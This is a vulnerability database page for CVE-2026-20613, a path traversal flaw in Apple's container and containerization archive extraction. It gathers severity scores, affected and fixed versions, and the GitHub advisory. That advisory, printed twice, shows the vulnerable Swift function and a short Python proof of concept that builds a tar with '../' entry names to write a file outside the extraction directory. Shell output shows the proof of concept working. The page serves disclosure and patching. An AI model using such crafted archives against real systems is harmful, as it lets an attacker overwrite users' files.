Every CVE Search/ Get API key

CVE-2026-20613

Container and Containerization archive extraction does not guard against escapes from extraction base directory.

7.8 HighFix available

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.27%Up 0.3 points since Jan 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.8

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Record
CVE-2026-20613
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-4539 7.8

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Record
EUVD-2026-4539
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-cq3j-qj2h-6rv3 1.9

Container and Containerization archive extraction does not guard against escapes from extraction base directory.

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

Record
GHSA-cq3j-qj2h-6rv3
CVSS 4.0
1.9 LowCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-22
Updated
2026-11-02
NVD 7.8

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Record
CVE-2026-20613
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSV 7.8

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

Record
CVE-2026-20613
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-cq3j-qj2h-6rv3 1.9

Container and Containerization archive extraction does not guard against escapes from extraction base directory.

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

Record
GHSA-cq3j-qj2h-6rv3
CVSS 4.0
1.9 LowCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/apple/containerization
SwiftURL
through 0.20.1
0.21.0
github.com/apple/container
SwiftURL
through 0.7.1
0.8.0
github.com/apple/containerization
SwiftURL
before 0.21.0
0.21.0
github.com/apple/container
SwiftURL
before 0.8.0
0.8.0

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-20613 is a high vulnerability (CVSS 7.8) in Apple Container, published January 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in github.com/apple/containerization 0.21.0.

References

MoveEnter Open